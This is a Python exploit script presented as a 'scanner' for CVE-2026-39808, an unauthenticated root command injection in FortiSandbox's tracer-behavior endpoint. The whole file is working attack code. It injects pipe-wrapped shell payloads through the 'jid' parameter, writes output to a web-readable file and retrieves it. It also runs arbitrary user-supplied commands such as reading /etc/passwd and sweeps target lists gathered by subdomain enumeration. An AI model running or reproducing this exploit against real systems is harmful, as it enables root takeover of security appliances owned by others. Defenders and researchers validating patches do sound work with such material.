#!/usr/bin/env python3 """ ╔══════════════════════════════════════════════════════════════════╗ ║ FortiSandbox RCE Scanner v1.0 — CVE-2026-39808 ║ ║ Unauthenticated OS Command Injection as root ║ ║ Author: mitsec | @ynsmroztas ║ ╚══════════════════════════════════════════════════════════════════╝ FortiSandbox < 4.4.9 — /fortisandbox/job-detail/tracer-behavior The 'jid' parameter is vulnerable to OS command injection. No authentication required. Commands execute as root. Usage: python3 fortisandbox_rce.py -u https://target.com python3 fortisandbox_rce.py -u https://target.com --cmd "cat /etc/passwd" python3 fortisandbox_rce.py --stdin subfinder -d target.com -silent | httpx -silent | python3 fortisandbox_rce.py --stdin python3 fortisandbox_rce.py -u https://target.com --proxy http://127.0.0.1:8080 -o report.json Reference: https://fortiguard.fortinet.com/psirt/FG-IR-25-325 """ import urllib.request import urllib.error import urllib.parse import ssl import json import sys import os import signal import argparse import time import re import random import string from datetime import datetime, timezone # ═══════════════════════════════════════════════════════════════════ # COLORS # ═══════════════════════════════════════════════════════════════════ class C: RST = "\033[0m"; BOLD = "\033[1m"; DIM = "\033[2m" R = "\033[91m"; G = "\033[92m"; Y = "\033[93m" B = "\033[94m"; M = "\033[95m"; CY = "\033[96m" W = "\033[97m"; BG_R = "\033[41m"; BG_G = "\033[42m" if os.environ.get("NO_COLOR") or not sys.stderr.isatty(): for a in [a for a in dir(C) if not a.startswith("_")]: setattr(C, a, "") # ═══════════════════════════════════════════════════════════════════ # LOGGING # ═══════════════════════════════════════════════════════════════════ def banner(): print(f""" {C.R}{C.BOLD}╔══════════════════════════════════════════════════════════╗ ║ FortiSandbox RCE Scanner v1.0 — CVE-2026-39808 ║ ║ Unauthenticated Command Injection (root) ║ ╚══════════════════════════════════════════════════════════╝{C.RST} {C.DIM}mitsec | @ynsmroztas{C.RST} """, file=sys.stderr) def log(m): print(f" {C.B}▸{C.RST} {m}", file=sys.stderr) def ok(m): print(f" {C.G}✓{C.RST} {m}", file=sys.stderr) def warn(m): print(f" {C.Y}⚠{C.RST} {m}", file=sys.stderr) def fail(m): print(f" {C.R}✗{C.RST} {m}", file=sys.stderr) def critical(m): print(f" {C.BG_R}{C.W}{C.BOLD} CRITICAL {C.RST} {C.R}{C.BOLD}{m}{C.RST}", file=sys.stderr) def section(title): w = 58 print(f"\n {C.R}┌{'─'*w}┐{C.RST}", file=sys.stderr) print(f" {C.R}│{C.BOLD} {title:<{w-1}}{C.RST}{C.R}│{C.RST}", file=sys.stderr) print(f" {C.R}└{'─'*w}┘{C.RST}", file=sys.stderr) # ═══════════════════════════════════════════════════════════════════ # GRACEFUL SHUTDOWN # ═══════════════════════════════════════════════════════════════════ shutdown = False def sig_handler(s, f): global shutdown; shutdown = True warn("Shutting down...") signal.signal(signal.SIGINT, sig_handler) # ═══════════════════════════════════════════════════════════════════ # HTTP ENGINE # ═══════════════════════════════════════════════════════════════════ CTX = ssl.create_default_context() CTX.check_hostname = False CTX.verify_mode = ssl.CERT_NONE def http_get(url, proxy=None, timeout=15): """GET request. Returns (status, headers, body).""" req = urllib.request.Request(url, headers={ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Accept": "*/*", "Connection": "close", }) if proxy: handler = urllib.request.ProxyHandler({"http": proxy, "https": proxy}) opener = urllib.request.build_opener(handler, urllib.request.HTTPSHandler(context=CTX)) else: opener = urllib.request.build_opener(urllib.request.HTTPSHandler(context=CTX)) try: resp = opener.open(req, timeout=timeout) hdrs = {k.lower(): v for k, v in resp.getheaders()} body = resp.read().decode("utf-8", errors="replace") return resp.status, hdrs, body except urllib.error.HTTPError as e: hdrs = {k.lower(): v for k, v in e.headers.items()} body = e.read().decode("utf-8", errors="replace") return e.code, hdrs, body except Exception as e: return 0, {}, str(e) # ═══════════════════════════════════════════════════════════════════ # SCANNER # ═══════════════════════════════════════════════════════════════════ VULN_PATH = "/fortisandbox/job-detail/tracer-behavior" OUTPUT_PATH = "/ng/out.txt" # False positive signatures — if ANY of these are in the response, it's NOT command output FP_SIGNATURES = [ "FortiSandbox", "FortiSandbox -", "<!DOCTYPE html>", "<html lang=", "angular", "favicon.ico", "font-face{font-family", "Please login", "<base href=", "<meta charset", ] def gen_canary(): """Random canary string for detection.""" return "mitsec_" + "".join(random.choices(string.ascii_lowercase + string.digits, k=8)) def normalize_base(url): """Strip /ng, trailing slashes, and normalize base URL.""" base = url.rstrip("/") # Remove /ng suffix — it's the Angular frontend, not the API root if base.endswith("/ng"): base = base[:-3] return base def is_html_page(body): """Check if response is an HTML page (not command output).""" body_lower = body.strip().lower() # Command output is plain text, never starts with HTML tags if body_lower.startswith("<!doctype") or body_lower.startswith("<html"): return True if any(sig.lower() in body_lower for sig in FP_SIGNATURES): return True return False def is_valid_id_output(body): """Strictly validate 'id' command output: uid=N(user) gid=N(group).""" body = body.strip() # Must match uid=NUMBER(NAME) pattern if re.search(r'uid=\d+\(\w+\)', body): # Extra check: must NOT be HTML if not is_html_page(body): # Sanity: id output is short (<500 bytes typically) if len(body) < 1000: return True return False def is_valid_canary(body, canary): """Strictly validate canary — must be in clean plain text, not inside HTML.""" body = body.strip() if canary not in body: return False if is_html_page(body): return False # Canary should be the primary content (maybe with a newline) if len(body) < len(canary) + 50: return True # If body is longer, canary must still not be inside HTML tags if "<" in body and ">" in body: return False return True def scan_target(base_url, cmd=None, proxy=None, timeout=15, verify_only=False): """Scan a single target for CVE-2026-39808.""" base = normalize_base(base_url) result = { "target": base, "vulnerable": False, "details": {}, "timestamp": datetime.now(timezone.utc).isoformat(), } # ─── Step 1: Check if target is FortiSandbox ────────────── log(f"Checking if target is FortiSandbox...") root_status, root_hdrs, root_body = http_get(base + "/", proxy=proxy, timeout=timeout) if root_status == 0: fail(f"Connection failed: {root_body}") result["details"]["error"] = root_body return result is_fortisandbox = ( "FortiSandbox" in root_body or "fortisandbox" in root_body.lower() or "fortisandbox" in root_hdrs.get("server", "").lower() ) if is_fortisandbox: ok(f"FortiSandbox detected!") else: warn(f"Target may not be FortiSandbox (checking anyway...)") result["details"]["is_fortisandbox"] = is_fortisandbox result["details"]["server"] = root_hdrs.get("server", "unknown") # ─── Step 2: Check if vulnerable endpoint exists ────────── log(f"Checking endpoint: {VULN_PATH}") check_url = base + VULN_PATH + "?" + urllib.parse.urlencode({"jid": "1"}) status, hdrs, body = http_get(check_url, proxy=proxy, timeout=timeout) if status == 404: fail(f"Endpoint returned 404 — not vulnerable or patched") result["details"]["endpoint_status"] = 404 return result if status == 0: fail(f"Endpoint unreachable") return result # Check if it returns the login page (Angular SPA catch-all = NOT the real endpoint) if is_html_page(body) and "FortiSandbox" in body: # Could be SPA catch-all — endpoint might not exist # Check content-type ct = hdrs.get("content-type", "") if "text/html" in ct: warn(f"Endpoint returned HTML page (likely SPA catch-all, not real API)") result["details"]["endpoint_note"] = "SPA catch-all, endpoint may not exist" # Don't return yet — still try injection, but be extra strict on verification log(f"Endpoint status: {status} | Content-Type: {hdrs.get('content-type', 'N/A')}") result["details"]["endpoint_status"] = status # ─── Step 3: Inject canary via command injection ────────── canary = gen_canary() log(f"Injecting canary: {canary}") payload = f"|({canary} > /web/ng/out.txt)|" # Use echo to write the canary payload = f"|(echo {canary} > /web/ng/out.txt)|" inject_url = base + VULN_PATH + "?" + urllib.parse.urlencode({"jid": payload}) status_inj, _, _ = http_get(inject_url, proxy=proxy, timeout=timeout) result["details"]["inject_status"] = status_inj if status_inj == 0: fail(f"Injection request failed") return result time.sleep(1.5) # ─── Step 4: Read output and verify canary ──────────────── output_url = base + OUTPUT_PATH log(f"Reading output: {output_url}") status_out, out_hdrs, body_out = http_get(output_url, proxy=proxy, timeout=timeout) result["details"]["output_status"] = status_out out_ct = out_hdrs.get("content-type", "") if status_out != 200: warn(f"Output file returned {status_out} — command may not have executed") result["details"]["output_note"] = f"HTTP {status_out}" return result # ─── FALSE POSITIVE CHECKS ─────────────────────────────── # Check 1: Is the response an HTML page? if is_html_page(body_out): warn(f"Output URL returns HTML page — this is the Angular SPA, NOT command output") log(f"Content-Type: {out_ct}") log(f"This is a false positive — /ng/out.txt serves the SPA index.html") result["details"]["false_positive"] = True result["details"]["reason"] = "Output URL serves Angular SPA HTML, not command output" result["vulnerable"] = False return result # Check 2: Content-Type should be text/plain for real command output if "text/html" in out_ct: warn(f"Output Content-Type is text/html — likely not command output") result["details"]["false_positive"] = True result["details"]["reason"] = f"Content-Type: {out_ct}" result["vulnerable"] = False return result # Check 3: Verify canary strictly if is_valid_canary(body_out, canary): result["vulnerable"] = True critical(f"🔥 VULNERABLE — CVE-2026-39808 CONFIRMED!") critical(f"Target: {base}") ok(f"Canary '{canary}' verified in output (clean plain text)") result["details"]["canary"] = canary result["details"]["verification"] = "canary_match" # ─── Step 5: Execute user command ───────────────────── if cmd and not verify_only: section(f"Executing: {cmd}") cmd_payload = f"|({cmd} > /web/ng/out.txt)|" cmd_url = base + VULN_PATH + "?" + urllib.parse.urlencode({"jid": cmd_payload}) http_get(cmd_url, proxy=proxy, timeout=timeout) time.sleep(1.5) _, _, cmd_output = http_get(output_url, proxy=proxy, timeout=timeout) if cmd_output and not is_html_page(cmd_output): result["details"]["command"] = cmd result["details"]["output"] = cmd_output.strip() # Pretty print print(f"\n {C.CY}{'─'*58}{C.RST}", file=sys.stderr) print(f" {C.CY}{C.BOLD} Command Output: {cmd}{C.RST}", file=sys.stderr) print(f" {C.CY}{'─'*58}{C.RST}", file=sys.stderr) for line in cmd_output.strip().split("\n"): print(f" {C.G}│{C.RST} {line}", file=sys.stderr) print(f" {C.CY}{'─'*58}{C.RST}\n", file=sys.stderr) else: warn("Command executed but output may not be readable") # Cleanup cleanup_payload = "|(echo cleaned > /web/ng/out.txt)|" cleanup_url = base + VULN_PATH + "?" + urllib.parse.urlencode({"jid": cleanup_payload}) http_get(cleanup_url, proxy=proxy, timeout=timeout) ok("Output file cleaned up") else: # Canary not found — try id command as secondary check log("Canary not found. Trying 'id' command as fallback...") id_payload = "|(id > /web/ng/out.txt)|" id_url = base + VULN_PATH + "?" + urllib.parse.urlencode({"jid": id_payload}) http_get(id_url, proxy=proxy, timeout=timeout) time.sleep(1.5) _, id_hdrs, id_output = http_get(output_url, proxy=proxy, timeout=timeout) # STRICT validation for id output if is_valid_id_output(id_output): result["vulnerable"] = True critical(f"🔥 VULNERABLE — CVE-2026-39808 CONFIRMED!") critical(f"Target: {base}") ok(f"id output: {id_output.strip()}") result["details"]["id_output"] = id_output.strip() result["details"]["verification"] = "id_command" elif is_html_page(id_output): warn(f"Output is HTML page — NOT vulnerable (SPA catch-all)") result["details"]["false_positive"] = True else: warn(f"Could not confirm vulnerability") log(f"Output ({len(id_output)} bytes): {id_output[:100]}") if not result["vulnerable"]: log(f"Target does not appear vulnerable") return result # ═══════════════════════════════════════════════════════════════════ # MAIN # ═══════════════════════════════════════════════════════════════════ def main(): parser = argparse.ArgumentParser( description="FortiSandbox RCE Scanner — CVE-2026-39808", formatter_class=argparse.RawDescriptionHelpFormatter, epilog="""Examples: %(prog)s -u https://fortisandbox.target.com %(prog)s -u https://target.com --cmd "id" %(prog)s -u https://target.com --cmd "cat /etc/passwd" --proxy http://127.0.0.1:8080 subfinder -d target.com -silent | httpx -silent | %(prog)s --stdin %(prog)s -u https://target.com --verify-only -o report.json """ ) parser.add_argument("-u", "--url", help="Target URL") parser.add_argument("--stdin", action="store_true", help="Read URLs from stdin (pipeline mode)") parser.add_argument("--cmd", default="id", help="OS command to execute (default: id)") parser.add_argument("--verify-only", action="store_true", help="Only verify vulnerability, don't execute --cmd") parser.add_argument("--proxy", help="HTTP proxy (e.g., http://127.0.0.1:8080)") parser.add_argument("--timeout", type=int, default=15, help="HTTP timeout in seconds (default: 15)") parser.add_argument("--rate-limit", type=int, default=0, help="Delay between targets in ms (default: 0)") parser.add_argument("-o", "--output", help="Output JSON report file") parser.add_argument("--no-banner", action="store_true", help="Suppress banner") args = parser.parse_args() if not args.no_banner: banner() # Collect URLs urls = [] if args.stdin or (not args.url and not sys.stdin.isatty()): for line in sys.stdin: line = line.strip() if line and (line.startswith("http://") or line.startswith("https://")): urls.append(line) if urls: log(f"Loaded {len(urls)} targets from stdin") elif args.url: urls.append(args.url) else: parser.print_help() sys.exit(1) all_results = [] vuln_count = 0 for i, url in enumerate(urls): if shutdown: break if len(urls) > 1: section(f"[{i+1}/{len(urls)}] {url}") else: section(f"Target: {url}") result = scan_target( base_url=url, cmd=args.cmd, proxy=args.proxy, timeout=args.timeout, verify_only=args.verify_only, ) all_results.append(result) if result["vulnerable"]: vuln_count += 1 # Pipeline output — vulnerable URL to stdout print(url) sys.stdout.flush() if args.rate_limit > 0 and i < len(urls) - 1: time.sleep(args.rate_limit / 1000.0) # ─── Final Summary ──────────────────────────────────────── section("Scan Complete") log(f"Targets scanned: {len(all_results)}") if vuln_count > 0: critical(f"Vulnerable: {vuln_count}/{len(all_results)}") else: ok(f"No vulnerable targets found ({len(all_results)} tested)") # JSON report if args.output: report = { "scanner": "fortisandbox_rce", "version": "1.0", "cve": "CVE-2026-39808", "scan_date": datetime.now(timezone.utc).isoformat(), "total_targets": len(all_results), "vulnerable": vuln_count, "results": all_results, } with open(args.output, "w") as f: json.dump(report, f, indent=2, ensure_ascii=False) ok(f"Report saved → {args.output}") if __name__ == "__main__": main()